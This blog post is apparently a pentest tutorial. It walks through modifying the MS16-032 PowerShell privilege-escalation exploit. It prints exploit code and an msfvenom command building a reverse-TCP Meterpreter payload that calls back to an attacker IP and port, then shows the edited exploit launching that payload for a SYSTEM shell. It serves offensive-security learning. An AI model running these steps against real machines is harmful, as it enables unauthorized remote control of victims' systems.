/ blog

Modifying exploits - hands-on example

The truth is that exploits, especially POC's on Exploit-DB don't work out of the box but you need to tailor it to the specific situation our environment. As this is can be very challenging, I'll demonstrate a hands-on example

This blog post continues our previous post on the windows exploit suggester, but deserves a seperate post on its own. In our last post, our exploit-suggester pointed us to the following MS16-032 exploit:

After tying to execute the code, it appeared to run succesfully but we didn't get system privileges:

PrtScr-capture_13

Step 1: Understand what the exploit does

The first step is understanding what the exploit does. That doesn't mean you need to understand the actual inner workings and mechanics of the exploit - although would be nice - but you need to have at least a high-level understanding what the exploit does. In many cases, an exploit tries to executes arbitrary code spawn a cmd window, creates a new administrator account or connects back to your listener, spawning you a remote shell.

If we analyze the MS16-032 exploit closely, we clearly see it's written in Powershell.

At the end of the exploit, we see the following code:

      # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Windows\System32\cmd.exe", "",
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)

This part tells us, after succesfully exploiting the MS16-032 vulnerability, the exploit executes C:\Windows\System32.cmd.exe. This would work great if we have physical access to the victim host, but as we run this exploit remotely via meterpreter, spawning a local extra instance of cmd.exe gives us no root privileges via meterpreter. We found our issue!

Now we need to modify the exploit to allow us to elevate our privileges. The easiest way to do this is by replacing C:\Windows\System32\cmd.exe with a a malicious payload .exe you created yourself with msfvenom, allowing to open a new meterpeter system shell.

Step 2: Create your own malicious payload

To start building your own malicious payload, open a new terminal and execute the following command:

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.95 LPORT=5555 -f exe > zeroday.exe

Let's breakdown the above command:

  • msvenom (stand-alone metasploit payload generator)
  • -p windows/meterpreter/reverse_tcp (specifies the type of payload you want to use in your malicious executable)
  • LHOST=10.10.15.95 (your IP adress you want the victim machine to connect back to)
  • LPORT=5555 (your local port you want the victim machine to connect back to)
  • -f exe > zeroday.exe (specifies the type of excutable you want to generate and the output file)

Next, we start a metasploit listener with the same payload, LHOST and LPORT as you created your payload with. When our payload is executed on the victim host, a meterpreter shell with connect to our listener.

PrtScr-capture_10

Step 3: Modify the exploit and execute

Now we have created our own malicious zeroday.exe instead of cmd.exe, all we need to do is modify the exploit so it executes our payload instead of cmd.exe.

First, we returned to our meterpreter shell and uploaded our zeroday.exe to *C:\Users\kostas\Desktop*.

Next, we replaced C:\Windows\System32\cmd.exe with C:\Users\kostas\Desktop\zeroday.exe in the exploit and saved as a .ps1 file. We also uploaded the now modified ps1 file to *C:\Users\kostas\Desktop* on our victim host.

	# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Users\kostas\Desktop\zeroday.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)

To execute our new modified exploit, run following commands:

./zeroday.ps1
Import-Module .ps1
Invoke-MS16-032 

In the screenshot you will notice that I ran Invoke-zeroday2 instead of Invoke-MS16-032. That's because I changed the name of the function for fun as well. No need to worry about that.

PrtScr-capture_11

If we return to our meterpreter listener, we should have a SYSTEM shell..

PrtScr-capture_12-1